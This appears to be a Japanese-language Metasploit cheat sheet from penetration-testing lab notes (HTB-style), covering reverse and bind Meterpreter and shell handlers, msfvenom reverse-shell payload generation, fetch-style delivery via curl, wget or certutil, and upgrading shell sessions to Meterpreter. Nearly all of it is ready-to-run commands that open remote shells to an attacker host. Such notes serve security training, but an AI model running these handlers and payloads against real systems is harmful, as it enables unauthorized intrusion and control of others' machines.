ハンドラと待ち受け
リバースシェルや Meterpreter の待ち受けと、既存のシェルセッションからの昇格をまとめます。ハンドラによる待ち受けと、セッション上での昇格は別の操作です。
リバース接続用の Meterpreter ハンドラ
Section titled “リバース接続用の Meterpreter ハンドラ”Windows reverse Meterpreter の定番です。rc/handler_windows_meterpreter_reverse.rc に置く内容の例です。
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.10.16.10set LPORT 4444set EXITFUNC threadset ExitOnSession falserun -j
sessions -lresource ~/lab/msf/rc/handler_windows_meterpreter_reverse.rcLinux reverse Meterpreter を一時的に使う場合です。
use exploit/multi/handler; run -j verbose=true payload=linux/x64/meterpreter/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=falseExitOnSession false と run -j で、複数のセッションを受けられるバックグラウンドジョブとしてハンドラを起動します。
通常のリバースシェルハンドラ
Section titled “通常のリバースシェルハンドラ”Meterpreter ではなくコマンドシェルを待つ場合です。
use exploit/multi/handlerset payload windows/x64/shell/reverse_tcpset LHOST 10.10.16.10set LPORT 4444set ExitOnSession falserun -jLinux ならペイロードを変えます。
use exploit/multi/handler; run -j verbose=true payload=linux/x64/shell/reverse_tcp lhost=10.10.16.10 lport=4444 exitonsession=falsestageless を使う場合は shell_reverse_tcp(スラッシュなしの single)を選びます。staged / stageless のどちらを対象へ置いたかに合わせます。
バインド接続用のハンドラ
Section titled “バインド接続用のハンドラ”対象側が待ち受け、Kali 側から接続する場合です。
use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 10.10.11.123set LPORT 4444set EXITFUNC threadrun -j通常のバインドシェルならペイロードを windows/x64/shell_bind_tcp にします。NAT、Windows Firewall、別セグメント越しでは失敗しやすいため、先に到達性を確認します。
ペイロードを対象へ届ける側
Section titled “ペイロードを対象へ届ける側”ハンドラは「待ち」だけです。対象上で reverse を起動する経路は別に用意します。
| 経路 | 例 |
|---|---|
| msfvenom で生成して配置 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f exe |
| 既存シェルから昇格 | sessions -u 1 / shell_to_meterpreter |
| exploit モジュールのペイロード | web RCE などから直接 Meterpreter / シェルを返す |
| fetch ペイロード | 対象が curl / wget / certutil で取りに来る |
msfvenom の最小例です。
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=4444 -f elf -o /tmp/rev.elfmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.10 LPORT=4444 -f exe -o /tmp/rev.exeハンドラを先に起動してから、対象側で実行します。
シェルセッションを Meterpreter へ昇格する
Section titled “シェルセッションを Meterpreter へ昇格する”既に reverse / bind のシェルセッションがある場合です。
sessions -lsessions -u 1sessions -l明示的に post モジュールを使う場合です。
run post/multi/manage/shell_to_meterpreter verbose=true session=1 lhost=10.10.16.10 lport=5555 handler=truehandler=true は post モジュール側で一時ハンドラを立てます。既に同じ LPORT でハンドラが動いていると衝突するので、空きポートを使います。
OS 誤検知時は PAYLOAD_OVERRIDE と PLATFORM_OVERRIDE を付けます。詳細は SSH / WinRM ログイン と同じです。
待ち受け前の確認
Section titled “待ち受け前の確認”LHOSTに対象から到達できるインターフェース(HTB ならtun0)を指定しているか。LPORTが他プロセス / 他ハンドラと衝突していないか。- ペイロードの OS / arch / staged か stageless かが対象側と一致しているか。
sessions -lとjobs -lで待ち受け状態を確認できるか。
セッションが返らないときの切り分けは トラブルシューティング へ進みます。

